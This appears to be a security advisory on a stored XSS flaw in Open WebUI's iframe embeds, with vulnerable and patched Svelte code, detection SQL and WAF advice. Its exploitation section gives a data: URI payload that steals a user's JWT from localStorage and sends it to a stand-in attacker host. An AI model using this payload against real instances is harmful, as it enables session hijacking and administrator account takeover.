CVE-2026-26193: Stored XSS via iFrame Embeds in Open WebUI Response Messages

Open WebUI relies on a modular architecture to render chat content, user instructions, and dynamic embeds within the frontend layout. The Svelte-based frontend utilizes a component named ResponseMessage.svelte to present assistant responses to the client. This component processes standard markdown, LaTeX, charts, and media resources. Among these capabilities is an iframe-based embedding feature designed to display rich external integrations.

To facilitate the rendering of these external resources, the system employs a custom component known as FullHeightIframe. Because Open WebUI is built as a self-hosted platform running in local or enterprise networks, security boundaries inside the UI are critical to prevent unauthorized administrative actions. Response message embeds represent a highly exposed attack surface because they deal with arbitrary, dynamic resource URLs.

The vulnerability, classified as CWE-79 (Stored Cross-Site Scripting), resides in the rendering block for these message embeds. When a message contains an embeds array, the application dynamically instantiates an iframe for each specified link. Due to insecure default configurations within the component lifecycle, malicious code can escape the boundaries typically imposed on frame resources, leading to execution in the security origin of the hosting application.

The root cause of CVE-2026-26193 is a classic security configuration failure within the iframe's sandbox attributes. Svelte templates compile declarative attributes directly into HTML DOM properties. In ResponseMessage.svelte, the FullHeightIframe tag explicitly enables both script execution and same-origin access simultaneously. This pattern nullifies the browser security mechanisms designed to segregate third-party content.

According to the HTML5 specification, the sandbox attribute restricts the capabilities of nested frame elements. When the allow-scripts flag is specified, the frame is permitted to run scripting engines. When the allow-same-origin flag is specified, the frame treats its source content as if it originates from the parent page's domain. When these two attributes are combined, the frame is granted the capability to bypass its own sandbox constraints, programmatically accessing the parent DOM.

Furthermore, Open WebUI exposes a global configuration setting titled 'iframe Sandbox Allow Same Origin' intended to let administrators toggle this access model globally. However, the hardcoded attributes in the rendering loop for response embeds ignore this global variable. Svelte compiles the hardcoded properties allowScripts={true} and allowSameOrigin={true} directly, meaning the global security setting has no effect on this specific code path.

The vulnerable code path is found in src/lib/components/chat/Messages/ResponseMessage.svelte between lines 689 and 703. The template loop handles message.embeds without performing validation or sanitization against the provided URLs. This allows arbitrary URI schemes, including data:text/html, to be bound directly to the frame's source parameter.

<!-- Vulnerable Code Path -->
{#if message?.embeds && message.embeds.length > 0}
	<div class="my-1 w-full flex overflow-x-auto gap-2 flex-wrap">
		{#each message.embeds as embed, idx}
			<div class="my-2 w-full" id={`${message.id}-embeds-${idx}`}>
				<FullHeightIframe
					src={embed}
					allowScripts={true}
					allowForms={true}
					allowSameOrigin={true}
					allowPopups={true}
				/>
			</div>
		{/each}
	</div>
{/if}

To correct this vulnerability, the component was refactored in version 0.6.44 to omit the hardcoded same-origin value. The patch dynamically binds the same-origin permission to the configuration state of the application. If the configuration restricts same-origin access for standard embeds, the component honors this decision, isolating the executed scripts.

<!-- Patched Code Path -->
{#if message?.embeds && message.embeds.length > 0}
	<div class="my-1 w-full flex overflow-x-auto gap-2 flex-wrap">
		{#each message.embeds as embed, idx}
			<div class="my-2 w-full" id={`${message.id}-embeds-${idx}`}>
				<FullHeightIframe
					src={embed}
					allowScripts={true}
					allowForms={true}
					allowSameOrigin={IFRAME_SANDBOX_ALLOW_SAME_ORIGIN}
					allowPopups={true}
				/>
			</div>
		{/each}
	</div>
{/if}

Exploitation requires network access to the Open WebUI instance and an active user account. Because the vulnerability is stored within the chat history, the attacker first submits a standard chat interaction. The attacker then intercepts the communication flow or directly invokes the REST API endpoint to update the chat message history, introducing a custom embeds array containing a malicious data: URI.

{
  "id": "target-message",
  "role": "assistant",
  "content": "Rendering dynamic content...",
  "embeds": [
    "data:text/html,<script>const token = window.parent.localStorage.getItem('token'); fetch('https://attacker.com/log?t=' + encodeURIComponent(token));</script>"
  ]
}

Once the payload is written to the platform's backend database, the attacker executes a share operation. This step generates a unique public URL linked to the contaminated session state. The attacker then targets other local users or platform administrators by transmitting the shared URL via internal communication channels, support tickets, or direct messaging.

When the recipient accesses the shared link, the frontend attempts to render the embedded resource within the DOM. The browser resolves the data: URI and assigns it same-origin permissions due to the static sandbox configurations. The Javascript payload runs immediately, extracts the victim's JWT token from local storage, and exfiltrates it to the attacker's server, enabling instantaneous session hijacking.

The severity of CVE-2026-26193 is high, reflecting its potential to cause full account takeovers. Because the target application, Open WebUI, is often deployed within internal enterprise environments or locally on development systems, compromising an administrative session can expose sensitive corporate artificial intelligence assets, backend API keys, and model parameter files.

The CVSS v3.1 base score is 7.3. The attack complexity is low because standard browser behaviors automatically resolve the payload without requiring specialized execution engines. Because authentication to an instance is typically required to modify chat schemas, the baseline privilege is low, but the vector is highly effective because it crosses trust boundaries when an administrator views a user-shared chat.

From an operational standpoint, the script execution executes inside the context of the parent origin. This permits full access to the browser's Document Object Model (DOM), indexedDB databases, local storage repositories, and active cookies. If the victim possesses administrative privileges, the attacker gains the capability to modify global system variables, provision new administrative credentials, or access system integrations.

The recommended remediation path is to immediately upgrade Open WebUI to version 0.6.44 or later. This release correctly links the sandbox origin permissions to the global platform settings and restricts unsafe scripts by default. Administrators must verify that the environment has successfully applied the update to prevent exploitation of the existing vulnerable components.

In scenarios where immediate platform updates are not feasible, defenders should implement database-level auditing. Running SQL commands against the backend storage can identify active payloads stored within user histories. The query should look specifically for occurrences of script syntax and data: URIs inside the serialized JSON arrays of the chats table.

-- Query to identify suspect stored chats
SELECT id, user_id, title
FROM chats
WHERE chat_code LIKE '%"embeds"%'
  AND (chat_code LIKE '%data:text/html%' OR chat_code LIKE '%javascript:%');

Additionally, deploying Web Application Firewall (WAF) rules provides an immediate layer of active defense. WAF policies should inspect incoming POST or PATCH requests targeting /api/v1/chats or adjacent endpoints. Rules must flag and block request bodies that combine the embeds keyword with data: URI structures, preventing the registration of malicious configurations in the backend.